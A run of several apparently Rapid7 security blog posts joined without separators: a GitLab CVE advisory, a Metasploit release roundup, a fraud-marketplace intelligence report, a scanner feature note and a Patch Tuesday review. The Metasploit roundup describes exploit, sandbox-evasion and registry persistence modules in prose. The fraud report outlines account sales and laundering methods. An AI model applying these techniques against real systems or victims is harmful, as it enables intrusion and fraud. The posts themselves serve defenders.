• Ask how exposure context actually enters investigations. Is it a legitimate input to detection and prioritization, or a separate dashboard? 

• Ask to see a real, redacted case file rather than a metrics summary. Then probe how the provider handles uncertainty and model failure. 

• Clarify the place where accountability sits when a response action carries risk, and get a clear answer on how far the provider remains engaged during an incident. 

These are the same standards we hold ourselves to, and they map to how we've built our MDR service. If you want to go deeper, our MDR Buyer's Guide walks through what to look for in a partner, and you can compare Rapid7 MDR against other providers or talk to our SOC team directly.

The MDR market is one in which detection, exposure, and response stop being separate purchases and start being one accountable outcome. That's the service we set out to build, and now is a good moment for every security leader to ask whether their current provider is heading the same way.

Source: Forrester, The Managed Detection And Response Services Landscape, Q3 2026, Jeff Pollard with Joseph Blankenship, Emily Doherty, and Michael Belden, September 1, 2026. Forrester does not endorse any company, product, brand, or service included in its research publications and does not advise any person to select the products or services of any company or brand based on the ratings included in such publications. Information is based on the best available resources. Opinions reflect judgment at the time and are subject to change. This report is part of a broader collection of Forrester resources, including interactive models, frameworks, tools, data, and access to analyst guidance. For more information, read about Forrester’s objectivity here .

Overview

On September 10, 2026, GitLab published a critical patch release for GitLab Community Edition (CE) and Enterprise Edition (EE). The release addresses CVE-2026-85706, a critical path traversal vulnerability (CWE-22) in the repository commits API with a CVSSv3.1 score of 10.0. According to GitLab, improper path confinement and missing authentication enforcement could allow an unauthenticated user to read arbitrary files from an affected GitLab server under certain conditions.

On September 11, 2026, CVE-2026-85706 was added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) Known Exploited Vulnerabilities (KEV) catalog, based on evidence of active exploitation. CISA set a remediation due date of September 14, 2026, for affected Federal Civilian Executive Branch agencies and marked the vulnerability as subject to forensic triage requirements under Binding Operational Directive 26-04.

Organizations running affected self-managed GitLab instances should remediate CVE-2026-85706 on an emergency basis, outside of normal patch cycles.

Mitigation guidance

A vendor-supplied update is available to remediate CVE-2026-85706. Organizations running affected self-managed GitLab CE or EE instances should upgrade to a fixed version immediately.

GitLab.com is already running a patched version, and GitLab Dedicated customers do not need to take action. Per GitLab, all self-managed deployment types are affected, including Omnibus, source code, and Helm chart deployments.

The updates include database migrations. Single-node installations will experience downtime while the migrations run; multi-node deployments can use GitLab's zero-downtime upgrade procedure. Of the fixed releases, only 19.3.2 includes post-deployment migrations.

The patch release also addresses 17 other vulnerabilities. These include CVE-2026-87719, a critical insecure deserialization vulnerability (CWE-502) in GitLab EE with a CVSSv3.1 score of 9.9. GitLab states that, under certain conditions, an authenticated user with Duo Chat access could obtain Advanced Search instance configurations and sensitive credentials using a specially crafted GraphQL subscription argument. At the time of publication, only CVE-2026-85706 is known to be exploited in the wild.

Given the confirmed exploitation, Rapid7 strongly recommends looking for signs of compromise even after the update has been applied. Organizations subject to CISA's BOD 26-04 should also follow the forensic triage requirements associated with the KEV entry.

For the latest mitigation guidance, please refer to the vendor's security advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-85706 with a vulnerability check available in the September 15 content release.

Updates

• September 14, 2026: Initial publication.

This One Goes to Sixteen!

Another banger from Metasploit with sixteen new modules, including ten exploit modules, with five on the CISA KEV list. Cisco, Papercut, Sonicwall, Jetbrains, and Langflow all have exploit modules, and not to be outdone, we even have a Metasploit scanner to watch the watchers!

New module content (16)

Elasticsearch ingest-attachment Apache Tika XFA XXE Local File Read

Authors: Bourbon Offensive Security Services and Jean-Marie Bourbon

Type: Auxiliary

Pull request: #21739 contributed by kmkz

Path: scanner/http/elasticsearch_tika_xfa_xxe

CVE reference: CVE-2025-66516

Description: Adds an auxiliary scanner module for CVE-2025-54988/CVE-2025-66516. The module validates an XML External Entity (XXE) vulnerability in Apache Tika's XFA parser exposed through the Elasticsearch attachment ingest processor.

SPIP Unauthenticated Blind SQLi via Date Field Escaping Bypass

Authors: Benoit Hua, Franck Chevalier, Julien Voisin, and ka3n1x

Type: Auxiliary

Pull request: #21791 contributed by jvoisin

Path: scanner/http/spip_annee_sqli

Description: Adds modules/auxiliary/scanner/http/spip_annee_sqli.rb which exploits a blind SQL injection in SPIP's date column escaping logic.

Metasploit Payload Handler Detection (TCP/UDP/HTTP/HTTPS)

Author: h00die

Type: Auxiliary

Pull request: #21551 contributed by h00die

Path: scanner/msf/handler_detect

Description: Adds a scanner module to enumerate ports on a host and determine if they're a Metasploit Reverse Handler or not, and if they are, what kind of shell they were going to land.

ESC8 Relay: SMB to HTTP(S) via Kerberos

Author: Pushpender Rathore

Type: Auxiliary

Pull request: #21709 contributed by Pushpenderrathore

Path: server/relay/esc8_kerberos

CVE reference: CVE-2026-20929

Description: This introduces native Kerberos authentication relay capabilities to the framework's relay stack. It includes a new auxiliary module (esc8_kerberos) that exploits CVE-2026-20929 by targeting AD CS Web Enrollment (ESC8). The module captures an SMB2 AP-REQ from a coerced client and seamlessly replays the authentication to the target certificate server over HTTP. This chain ultimately allows an attacker to issue a certificate for the coerced victim and obtain a valid Kerberos TGT without requiring their credentials.

Linux x64 Sandbox Environment Gate

Author: Massimo Bertocchi

Type: Evasion

Pull request: #21642 contributed by litemars

Path: linux/x64/sandbox_gate

Description: Adds a Linux x64 sandbox‑evasion module that performs lightweight runtime environment checks and aborts execution when a likely sandbox or VM is detected.

Cisco Secure Firewall Management Center Authentication Bypass RCE

Authors: Arian Eidizadeh, Brandon Sakai, and Cale Black

Type: Exploit

Pull request: #21796 contributed by CyberAuth

Path: linux/http/cisco_fmc_auth_bypass_rce

CVE reference: CVE-2026-20079

Description: Adds a native Metasploit exploit module for CVE-2026-20079, an unauthenticated authentication bypass in Cisco Secure Firewall Management Center (FMC).

SonicWall SMA1000 WorkPlace SSRF to Root Remote Code Execution

Authors: Adam Babis, William Perry, and sfewer-r7

Type: Exploit

Pull request: #21883 contributed by sfewer-r7

Path: linux/http/sonicwall_sma1000_couchdb_rce

CVE reference: CVE-2026-83549

Description: This adds an exploit module for the recent SonicWall SMA1000 zero-day exploit chain that was disclosed in the first week of September as being exploited in-the-wild. CVE-2026-83548 is an SSRF used to bypass auth. SMA1000-9427 is an RCE with low privileges via CouchDB read/write primitives. CVE-2026-83549 is a command injection in cmsSnmpTrap.sh for RCE with root privs. The patched version 12.5.0-02952 has been verified to successfully remediate this exploit chain.

JetBrains TeamCity Agent Polling Unauthenticated Remote Code Execution

Authors: Antoni Tremblay and sfewer-r7

Type: Exploit

Pull request: #21775 contributed by sfewer-r7

Path: multi/http/jetbrains_teamcity_rce_cve_2026_63077

CVE reference: CVE-2026-63077

Description: This introduces a new unauthenticated Remote Code Execution (RCE) exploit module for JetBrains TeamCity, targeting the vulnerability tracked as CVE-2026-63077. The module exploits an unsafe XStream deserialization flaw within the agent polling protocol to deliver and execute a one-shot JSP payload on the server. The module supports both Windows and Linux targets and features built-in cleanup logic to automatically unregister and remove the fake build agent created during the exploitation process.

Langflow AI authenticated RCE

Author: Richard Howe

Type: Exploit

Pull request: #21837 contributed by rmhowe425

Path: multi/http/langflow_auth_rce_cve_2026_19295

CVE reference: CVE-2026-19295

Description: Adds a new module targeting CVE-2026-19295, an authenticated remote code execution vulnerability impacting Langflow versions 1.10.0 and below.

MCPJam Inspector Connect API Command Execution

Authors: Louay-075 and earthenvessel

Type: Exploit

Pull request: #21655 contributed by earthenvessel

Path: multi/http/mcpjam_inspector_rce

CVE reference: CVE-2026-23744

Description: This adds a new exploit module for CVE-2026-23744, an unauthenticated command execution vulnerability in MCPJam Inspector. The module targets the /api/mcp/connect endpoint. Vulnerable versions accept a JSON serverConfig object containing a command and args array, then use those values to start an MCP server. When MCPJam Inspector is exposed on a routable interface, an unauthenticated remote attacker can abuse this behavior to execute operating system commands as the user running MCPJam Inspector.

PaperCut NG/MF Unauthenticated RCE (CVE-2026-81578 + CVE-2026-82078)

Author: sfewer-r7

Type: Exploit

Pull request: #21842 contributed by sfewer-r7

Path: multi/http/papercut_ng_external_user_lookup_rce

CVE reference: CVE-2026-82078

Description: Adds an exploit module for the recent PaperCut MF and PaperCut NG exploit chain (CVE-2026-81578 + CVE-2026-82078) that was reported last week as a zero-day being actively exploited in the wild.

SimpleHelp OIDC Authentication Bypass Remote Code Execution

Authors: Blackpoint Cyber, Horizon3.ai, Zach Hanley, and jheysel-r7

Type: Exploit

Pull request: #21825 contributed by jheysel-r7

Path: multi/http/simplehelp_oidc_auth_bypass_rce

CVE reference: CVE-2026-48558

Description: Adds an exploit module for CVE-2026-48558, an OIDC authentication bypass affecting SimpleHelp 5.5.0 through 5.5.15.

SPIP Autosave Session Unauthenticated RCE

Author: Julien Voisin

Type: Exploit

Pull request: #21859 contributed by jvoisin

Path: multi/http/spip_autosave_rce

Description: Adds a module targeting an unauthenticated remote code execution vulnerability in SPIP <= 4.4.21 via the forum autosave session handler. The action=session endpoint lets any visitor store arbitrary PHP code in a session variable, which is then executed by the template engine when the article page is rendered. No CVE has yet been issued.

Next.js Unauthenticated RCE on Windows Servers

Authors: Avishek Sarkar, Bogyeom Lee, and Maksim Rogov

Type: Exploit

Pull request: #21834 contributed by vognik

Path: windows/http/nextjs_unauth_rce_cve_2026_75604

CVE reference: CVE-2026-75604

Description: Adds a module targeting CVE-2026-75604, a Remote Code Execution (RCE) vulnerability in Next.js applications hosted on Windows servers. Specifically crafted requests can execute arbitrary code on the target server running Next.js versions from 13.4.0 up to 15.5.24, and 16.0.0 up to 16.3.3.

Boot Verification Program Persistence

Author: Emanuele Cervelli

Type: Exploit

Pull request: #21550 contributed by M4nu02

Path: windows/persistence/boot_verification_program

Description: Adds a Windows persistence module leveraging the registry key BootVerificationProgram.

Windows Time Provider Persistence

Author: Emanuele Cervelli

Type: Exploit

Pull request: #21522 contributed by M4nu02

Path: windows/persistence/time_provider

Description: Adds a new persistence module that registers a custom Time Provider DLL under the W32Time service registry key.

Bugs fixed (4)

• #21719 from Pushpenderrathore - Fixes a race condition in the module Metadata cache.
• #21838 from jheysel-r7 - Fixes payload choosing behaviour when swapping targets to auto-select the most fitting payload which can now also include Java payloads.
• #21853 from Pushpenderrathore - Three fixes to the core Rex::Proto::DNS forward/cache path that surface once the DNS server is used as a selective poisoner in front of a real upstream resolver
• #21861 from prithvee07 - Fixes a recent regression in the vsftpd_234_backdoor module where by updating the module to support ARCH_CMD payloads we inadvertently dropped support for cmd/unix/interact payloads. Both payloads are now supported.

Documentation

You can find the latest Metasploit documentation on our docsite at docs.metasploit.com.

Get it

As always, you can update to the latest Metasploit Framework with msfupdate and you can get more details on the changes since the last blog post from GitHub:

• Pull Requests 6.5.3…6.5.4
• Full diff 6.5.3…6.5.4

If you are a git user, you can clone the Metasploit Framework repo (master branch) for the latest. To install fresh without using git, you can use the open-source-only Nightly Installers or the commercial edition Metasploit Pro.

Introduction

The surge in emerging threat actors directly correlates with the rapid escalation of victim counts and stolen financial resources. Simultaneously, this growth has spurred the proliferation of specialized supply storefronts across social media platforms, dark web channels, and various smaller niche marketplaces. Security teams today face evolving challenges, requiring them to continuously refine monitoring channels, adjust operational strategies, and foster cross-functional internal collaboration to capture actionable intelligence.

With fraud damages anticipated to approach hundreds of billions of USD, security teams must navigate numerous non-compliant channels while ingesting and processing diverse data formats—such as documents, imagery, video, and unformatted text—linked to organizational assets. The recent introduction of a new Fraud framework by the MITRE organization underscores the critical need to combat fraud and highlights the significant danger these threat actors pose to all organizations. The MITRE organization has been taking a positive step towards standardizing the fight against fraud, while helping organizations target the relevant directions to look at. 

These marketplaces supply a range of services in need for the novice fraudster, encompassing server infrastructure, targeted lists, and even support for money laundering facilitated through compromised accounts across various platforms. As larger, well-known marketplaces have been dismantled, smaller, specialized shops are experiencing heightened activity from buyers seeking to engage in fraudulent endeavors.

This blog post undertakes an exploration of these marketplaces and their operational modalities, illuminating the contemporary fraud economy and underscoring the enduring critical nature of robust detection and prevention initiatives.

Fraud-as-a-Service (FaaS)

Fraud is broadly defined as an intentional, dishonest act or misrepresentation of material facts, calculated to deceive others in order to secure an unfair or unlawful gain. Consequently, the Fraud-as-a-Service (FaaS) model encompasses various vendors and digital storefronts that facilitate such activities by providing new tools, instructional guides, and ancillary services for fraudsters.

Online shops and marketplaces, such as Xleet, Blackpass, Infodig and Styx, provide a venue for contemporary fraudsters to acquire the necessary resources for whichever scheme they intend to execute. Users are able to purchase active accounts for online platforms, including major financial institutions, online dating services, and even AI platforms. In addition different offerings may include stolen PII, synthetic identity generator, and ready to use online infrastructure.

To satisfy shifting market demands, threat actors—alongside malware developers and marketplace administrators—continuously refine their products to optimize future monetization. Novice fraudsters often begin their journey by seeking instructional manuals on various forums or platforms like Styx. Once a strategy is established, they leverage diverse online shops and marketplaces to acquire the necessary infrastructure and credentials. These same venues frequently provide stolen personal or business data, which criminals then exploit during the monetization phase. A common tactic involves business email compromise (BEC) schemes designed to manipulate customers into transferring funds directly to accounts controlled by the fraudster.

⠀

As companies attempt to protect themselves from being taken advantage of by these fraudsters, they could gather troves of important intelligence about how the malicious actors think, and more importantly gain operational information about breaking fraud networks and protecting their ecosystems. Companies may utilize the available or purchased information into operational decisions, reducing the number of incidents, or at least hinder the fraudster’s attempts. 

MITRE Fraud Fighting Framework (F3)

Introduced in early 2026, the MITRE Fraud Fighting Framework (MITRE F3) is designed to help organizations recognize adversarial TTPs, and could help security teams prioritize relevant sources for monitoring through prioritization of attack vectors or vulnerabilities. Due to the large amount of available sources, such a framework could indeed help organizations create the best strategy.

While the framework's structure mirrors traditional MITRE matrices, MITRE F3 expands into domains bridging cybersecurity and financial crime, specifically addressing the monetization stage. Although it introduces a novel perspective on fraud analysis, it does not sufficiently address the necessity of enhanced collaboration between an organization's internal departments.

To obtain meaningful environmental insights, security, fraud, and financial crime teams must maintain constant surveillance of marketplaces and similar forums. Monitoring marketplaces for asset mentions is critical for early detection of threats and new trends targeting new victims.

Key marketplaces and trends

Like other cybercrime-focused shops and forums, our monitored marketplaces also handle external threats targeting their clientele; some even use mirror sites. Similarly to other underground marketplaces, the key players must navigate themselves in an ever changing shattered environment where new marketplaces operate along alternative shopping methods through Telegram and P2P options.

When examining the MITRE framework, we can immediately see many techniques in common–mostly account takeover (ATO) techniques. Nevertheless, as seen in the different stocks and sellers, the offerings changed with time according to market demands.

There are some notable differences between Styx and the rest of the reported marketplaces, however. Styx operates by offering sellers more space for promoting their own personal shops, available mostly through Telegram.

⠀

Styx also aims to cultivate a specialized community through their "freemium" model, where premium, high-value content is reserved for users willing to pay significant fees.

⠀

While some of the free manuals have been posted through different cybercrime forums before, they show not only a real attempt by the Styx admins to generate additional income, but also sell ad space for different sellers working outside of the marketplace. These monetization techniques indicate the admins are probably well aware they have many competitors, as they attempt to provide a different shopping experience for their users.

Resource development: Infrastructure

Infrastructure for cybercrime operations has been sold for a long time, offering adversaries illegal access to active domains, cpanels, and more.

One of the leading marketplaces for such items is Xleet, first observed in 2022, which has quickly become a source for large collections of stolen credentials spanning multiple platforms. Distinguishing itself from other monitored marketplaces, Xleet is transparent about its offerings, frequently including evidence like screenshots or even email proof sent to the compromised account's email address.

⠀

⠀

Access to SMTP servers could help fraudsters reach larger audiences and evade different email protection and filtering services, thus improving success rate for different schemes. Xleet also offers alleged access to protected networks through Cpanel, web shells, SSH, and RDP connections, as well as VoIP access through their accounts:

⠀

BlackPass is another marketplace offering RDP credentials, as well as proxy services used by malicious actors for veiling their location or, as mentioned above, bypassing different restrictions on their IP addresses.

Blackpass, initially named 'Paysell,' emerged as one of the first known online marketplaces dedicated to selling compromised accounts. Estimates suggest this platform has facilitated the sale of hundreds of millions of accounts. Legal documents indicate the marketplace is controlled by Russian cybercriminals, a detail consistent with its product focus: items exclusively targeting Western countries, particularly the US.

⠀

All of these vulnerable environments could be part of a bigger scheme run by fraudsters, leading to other techniques being executed like a new vendor set up.

Another marketplace, Infodig, would offer different phone infrastructure in the past as mentioned in one of their opening posts on a cybercrime forum. Foreign or stolen numbers could be used for receiving or intercepting OTP messages, forging IT calls to employees, or self registering new accounts for other services.

Infodig has recently revamped some services offered, including the phone infrastructure, having been removed completely around the end of 2025 during an update the marketplace went through.

⠀

Styx also offers many options for fraudsters looking for ready to use infrastructure including eSIMs, VoIP services, and compromised VPN accounts. Localized SIM cards could be used by fraudsters for many reasons such as account creation but more importantly as a way to strengthen claims when confronting modern anti-fraud solutions, thus improving scam success rates.

⠀

The same marketplaces offer additional stolen, forged, and even active company documents for sale including incorporation forms, US tax forms, and other various products connected to shelf companies and stolen PII. These documents allow threat actors to generate troves of mule accounts, shelf corporations, and even combine them into money laundering networks.

Acquiring access

Stolen, self-registered (self-reg), or user-sold accounts are high-demand assets in underground markets. By acquiring pre-existing accounts that have already circumvented anti-fraud protections, threat actors can rapidly deploy them for various criminal operations.

These platforms provide access to a wide range of services, from financial institutions and streaming providers to dating sites and AI-driven website builders. Novice fraudsters often utilize these resources to secure quick profits or to stockpile accounts for future resale.

For example, Blackpass features an extensive account inventory that includes regional banks, neo-banks, and major corporations. Pricing within these markets is fluid; however, self-reg accounts typically represent the most expensive tier due to the significant labor required for their initial setup.

⠀

Xleet provides an extensive accounts division that covers a broad spectrum of common targets, including gaming, streaming, and dating service profiles. These specific credentials serve as high-value assets for executing various "pig butchering" fraud operations. Furthermore, a notable emerging trend within this marketplace is the significant surge in available credentials for AI platforms, especially those focused on accelerated website creation.

The newer type of marketplace, active since 2023, features an unorthodox design and much higher prices for their products. Styx holds the usual stock including stolen or self-reg accounts for a large variety of services, including financial institutions, social media accounts, streaming services, and casinos or other gambling sites.

⠀

The inventory at Infodig is categorized into several distinct sections, featuring stealer logs alongside stolen Financial Information and Personal Identifiable Information (PII), such as Social Security numbers. Their accounts division has recently been going through some technical or supply issues and there are no current accounts available. However the marketplace has revamped their target list section into a new ULP (URL:LOGIN:PASS), offering a new targeted option for large scale ATO operations.

Monetization

Styx has gained notoriety for its support of various "cashout" operations, which are prominently featured in numerous service advertisements throughout the platform.

By functioning as a hybrid of a marketplace and a forum, Styx provides a unique platform where merchants can offer specialized cashout services that exploit financial institutions across different payment rails. These merchants utilize various business accounts to assist fraudsters in laundering illicit funds through established methods, including payroll schemes, ACH transfers, and refund scams targeting multiple banks and geographic regions.

⠀

Beyond explicit solicitations for these services, marketplaces provide a variety of other products that are frequently exploited for money laundering. The exploitation of online gambling platforms remains a prevalent tactic for fraudsters, particularly as new regulations across the US lead to more states and companies entering the market. By acquiring stolen or synthetic PII, malicious actors can establish new gambling accounts to facilitate the laundering of illicit funds through techniques like chip dumping and minimal gameplay.

Conclusion

The fraud economy is changing at a fast pace with new techniques and players entering the field every day. By examining the different marketplaces portrayed in this blog post, we can see that they all react and appeal to different market needs. 

The change seen through available items across shops are a clear indication of this, as marketplaces pivot towards a larger crowd–one lacking the deep technical knowledge of the earlier fraudsters and carders. The different marketplaces allow every new fraudster to purchase their entire infrastructure for the fraud kill chain, from target lists, servers, and even support for laundering illegal income. Other online services include rapid AI creation of phishing threats, or other forms of abuse of legitimate service through stolen credentials. Marketplaces are not solely made for direct use and other threat actors view them as a major supplier for their shops as well, due to their fixed prices for items with prices which could easily be inflated through their personal shops as seen below:

⠀

⠀

As fraud communities and groups become increasingly fragmented, the industry continues to splinter into smaller shops. These new, smaller marketplaces often require an invitation or administrator approval to join, a tactic designed to impede investigations and extend the lifespan of their fraudulent products. This shift to smaller shops also benefits merchants, allowing them to keep 100% of their profits instead of sharing them with marketplace administrators. Targeted companies should continue to monitor the marketplaces as they continue to function as an important link in the fraud supply chain. Threat actors are very aware and understand a major part of every business is the profit, therefore financial crime services and associated accounts are continuing to evolve.  

Nevertheless, underground marketplaces will continue to operate as an important part of the cybercrime economic system. Smaller merchants may use these larger stores as suppliers for their smaller shops, as second income or even double or triple their income by selling the same stock in multiple locations. However companies should not only be aware of these underground ‘malls’, and regularly monitor them for any suspicious findings, but take a more proactive approach. The evolving nature of fraud demands a stronger reaction from organizations as well as cooperation from security, financial crime, and compliance teams for proactive measures against these threats.

Targeted companies, especially financial institutions or gambling providers, should actively investigate stolen accounts and gather vital intelligence for protecting themselves in the future, making it more difficult for threat actors to abuse their payment rails, brands, and customers. 

What organizations should do

To safeguard both their infrastructure and clients, security teams must move beyond monitoring disparate data streams and actively align with internal fraud and financial crime units to cultivate actionable intelligence. Because illicit merchants rely on marketing their offerings, security analysts should actively communicate with threat actors, purchase account samples, as well as analyze images or videos to map threat actor networks, verify operational legitimacy, and finally deploy targeted security countermeasures. Threat actors are threatening organizations with more than just data exfiltration, with compliance or financial crime requirements, companies become more vulnerable to newer forms of threats, not commonly associated with security teams, but initiating through cybercrime sources.

By proactively identifying leaked assets, correlating them to their own environments, and responding quickly through credential resets, and fraud monitoring, organizations can significantly reduce both financial losses and downstream risks such as ATO, and money laundering.

If your scan engine already holds credentials for a host, it can ask that host which ports are open instead of probing for them.

Every scan begins with the same question: which ports on this host are open? Everything after it, from identifying services to checking for vulnerabilities to evaluating policy, depends on the answer being right. The traditional answer comes from the outside: the scan engine sends traffic to a range of ports and infers each port's state from how the host responds. That approach is the industry standard, and it works well when a clear network path exists between the engine and the host. Hardened hosts can stay silent rather than replying, which forces the engine to wait out timeouts. Rate limiting and intrusion prevention can throttle a burst of probes, and genuinely open ports go missing when they do. Large port ranges take time to cover thoroughly, and that time comes out of your scan window.

There is a more direct route on any host where the scan engine already holds valid credentials: ask the host itself. This is credentialed discovery, so a credential that matches the host is the precondition for everything that follows. The engine connects to the port that credential uses, authenticates with a credential you already manage, and the host's operating system returns an authoritative list of the ports it is listening on. That list covers both TCP and UDP ports. There is no probing, no inference, and nothing to wait out.

Three things to know before enabling pre-port discovery

1. Pre-port discovery can report ports that a firewall or other network control stops your scan engine from reaching, and on those hosts you get fewer results and a longer scan.

2. SSH and the Scan Assistant are tried on their standard ports, TCP 22 and TCP 21047, unless you set a different port on the credential's restriction.

3. Credential coverage decides which hosts benefit, and a host with no matching credential falls back to a network port scan.

Each of these is covered in full in the configuration and troubleshooting documentation. If your engine only reaches these hosts through a restrictive firewall, see who should leave this off below.

Why probing from the outside can hit a wall

A network port scan works by inference. The engine sends traffic to each port in a configured range and reads the host's response, or its silence, as evidence about that port's state. Inference is the whole method, and its accuracy depends on the path between the engine and the host behaving predictably.

Several common conditions break that assumption. A hardened host that drops unsolicited traffic instead of refusing it gives the engine nothing to work with, so the engine waits for a timeout and then records an ambiguous result. Rate limiting and intrusion prevention are built to react to exactly the traffic pattern a port scan produces, and a throttled probe looks the same to the engine as a closed port. Wide port ranges make both problems worse, because every additional port is another probe, another possible timeout, and more scan time.

The outcome is a picture that can be partial on one scan and different on the next, on the hosts where an accurate picture matters most.

If you already have credentials, ask the host

Credentialed pre-port discovery replaces that inference with a question, and it is available from version 8.58. The engine connects to the port a credential uses, authenticates, and reads the list of listening ports from the host. For any host where that succeeds, the engine skips the network port scan and moves straight to examining the ports the host reported. That is what pre-port discovery means: discovering ports before, and in place of, the network port scan.

There is nothing new to deploy, because pre-port discovery reuses the credentials you already configure for authenticated scanning. You do not have to choose a method: when more than one credential fits a host, the engine prefers the Scan Assistant, then SSH, then a direct Windows connection, and it uses the first one that authenticates.

A host with no matching credential, or one where authentication does not succeed, falls back to a network port scan automatically, and that fallback is not reported as an error.

The option is a per-template checkbox under Asset Discovery, and it is off by default. Everything after port discovery is unchanged: fingerprinting, vulnerability checks, and policy evaluation run as they do today. The configuration guide has the console and REST API steps.

Pre-port discovery's trade-off, stated plainly

A host reports what it is listening on, and it has no way of knowing what sits between it and your scan engine. A network port scan never ran into that, because it only ever reported a port it could actually reach. Pre-port discovery trades that outside-in view for the host's authoritative inside-out view, and the trade has a cost worth understanding first.

The engine still tries to connect to each reported port to identify the service running there. A port the engine cannot reach does not answer, so that connection has to wait out a short timeout before the engine gives up on it. That is why no service is identified on that port and why the scan takes a little longer. Pre-port discovery already confirmed the port is open, so the engine does not treat these failed connections as the host going offline. It records each unreachable port, notes in the scan log that a host firewall or similar network restriction is the likely cause, skips that port, and keeps assessing the host on the ports it can reach. What you lose is coverage of whatever is behind the unreachable ports, plus a little scan time, not the scan of the host.

The engine only falls back to treating repeated connection failures as a host that has stopped responding for hosts pre-port discovery could not reach at all, such as a host with no matching credential. Those hosts are scanned the normal way.

The finding describes the engine's experience of the host, not the health of the host. The port is genuinely open, and the host answered every question pre-port discovery asked it. The troubleshooting documentation covers what can block the path and how to test reachability from the engine.

Who should (and should not) turn on pre-port discovery?

Pre-port discovery is a good fit where the scan engine has broad network reachability to the hosts it scans, and where you already use SSH, Scan Assistant, or Windows credentials for authenticated scanning. It pays off most on hardened or rate-limited hosts and on large port ranges, which are the cases where a network port scan has been slow or inconsistent. A responsive host on a fast network may show little difference.

Approach it with more care where the engine is deliberately segmented from the hosts it scans and allowed through on only specific ports, or where the firewall rules between the engine and those hosts are restrictive or not fully known. In those environments, confirm reachability first, or keep using the network port scan.

Because this is a per-template setting, both approaches can coexist: a pre-port discovery template for the estate your engine can reach broadly, and a standard template for the hosts that segmentation deliberately keeps at a distance.

When to leave it off:

• Your scan engine is segmented from the hosts and allowed through on only specific ports. Pre-port discovery still reports every port the host is listening on, so the engine spends time on ports it cannot reach and returns no results for them.
• A host’s results must stay within a fixed set of ports. Pre-port discovery reports every port the host is listening on and does not apply your scan template’s port range, additional ports, or excluded ports. To keep results inside a defined set, scan with a template that has pre-port discovery turned off.

Try it on one template

One template at a time is the easiest way to judge the difference. Enable pre-port discovery on a single template, scan a representative group of hosts with it, and compare the results against what those same hosts returned before. If the port lists and the scan times look the way you expect, widen it from there. The configuration and troubleshooting guide has the details.

Further reading

Credentialed pre-port discovery: How to enable it in the console and over the REST API, how it picks a credential and a port, what your scan template’s port settings apply to (the fallback network port scans for hosts without a matching credential, not the port's pre-port discovery returns), and what to check when a host does not behave the way you expect.

Microsoft is publishing 974 own-product vulnerabilities on September 2026 Patch Tuesday, including 723 vulnerabilities in Windows. Along with Microsoft fixes for 25 non-Microsoft CVEs, that brings the total number of vulnerabilities on the table today to 999. Whether this is the biggest Patch Tuesday ever depends on how we count, but this is by far the most CVEs that Microsoft has ever published in a single day. As Rapid7 noted last month, there is no reason to suppose that Patch Tuesday will ever return to the lower volumes we saw prior to 2026. Microsoft is aware of exploitation in the wild for two of the vulnerabilities published today.

Windows ALPC: zero-day EoP

The eternal game of elevation of privilege whack-a-mole between Microsoft and attackers continues. This month, the battle is centered on the Windows Advanced Local Procedure Call (ALPC) mechanism, a kernel capability that facilitates inter-process communication. Microsoft is aware of exploitation in the wild already. Successful abuse of the flaw underlying CVE-2026-85880 grants an attacker SYSTEM via a buffer overflow that enables an out-of-bounds write, and as we all know by now, this is exactly what would happen during the first five minutes of a technically accurate horror movie about ransomware. We can infer one silver lining here: since neither Server 2025 nor Windows 11 receives patches for CVE-2026-85880, it is likely that Microsoft’s ongoing efforts to level up memory safety by rewriting critical kernel components in Rust are paying off.

Windows Update Stack: zero-day EoP

Attackers disappointed by Microsoft’s move towards memory safety improvements for various critical kernel components need not leave empty-handed today. Microsoft is aware of existing exploitation in the wild for CVE-2026-81963, an elevation of privilege vulnerability in the Windows Update Stack that leads to SYSTEM privileges via improper link resolution. All supported versions of Windows receive a patch, which presumably tightens up controls to prevent the Windows Update Stack from following a malicious link and overwriting a system component with an attacker-controlled imposter. The relatively pedestrian CVSS v3 base score of 7.8 is no reason for less concern, since no serious attacker will bother developing an intricate one-shot RCE when a two-stage attack chain consisting of low-privileged local access coupled with elevation of privilege will achieve the same ultimate goal much more easily.

Living on the Edge: browser advisory uncertainty

For the second month in a row, Microsoft does not appear to have published any desktop browser security advisories between the start of the month and Patch Tuesday. Microsoft Edge is built on top of Google’s open-source Chromium project, and on September 3, 2026, Google Chrome patched CVE-2026-85046, an exploited-in-the-wild zero-day vulnerability in the V8 JavaScript engine relied upon by both Edge and Chrome. So, is Microsoft Edge falling dangerously behind Google Chrome? Well, maybe. In this specific case, the Edge stable channel did receive a patch a day earlier than Chrome on September 2, 2026, and we know this because the Edge release notes mention it. However, almost a week later, Microsoft still hasn’t published a security advisory for CVE-2026-85046, and until that URL returns something better than a 404, that will remain true. In short: if you’re patched, you are protected, but if you rely on advisories to know which vulns exist, you could miss this zero-day vulnerability altogether. Only Microsoft knows why this advisory is missing, but there is no reason to suppose that Microsoft is somehow immune to the pressures that come along with the vast increase in vulnerability volume. A patch without an advisory is perhaps marginally better than an advisory without a patch, but keeping track of exposures without reliable advisory materials is not straightforward. Chrome patched 11 other vulnerabilities at the same time as CVE-2026-85046, but it’s not yet clear if those are patched in Edge. Until Microsoft sets the record straight, the only safe assumption is that these vulnerabilities (e.g. CVE-2026-85045) remain unpatched in Edge.

Microsoft lifecycle update

The next Microsoft product lifecycle changes with broad impact occur on October 14, 2026, when Windows 11 24H2 Home & Pro reach end of servicing, and Windows Server 2022 moves to extended support, with free critical security updates continuing, but no further feature development. At the same time, the final curtain falls for Windows Server 2012 and 2012 R2 with the expiry of the third and final year of cash-for-updates Extended Security Update (ESU) program for these aging workhorses. Office 2021 also moves beyond support, including the Long-Term Servicing Channel, with no ESU available in that case. Also in October, Exchange Server 2016 and 2019 will join the “no ESU” club, after two previous six-month reprieves. Presumably, Microsoft really means it this time.

Summary charts

Summary tables

Apps vulnerabilities

Azure vulnerabilities

Browser vulnerabilities

Developer Tools vulnerabilities

ESU vulnerabilities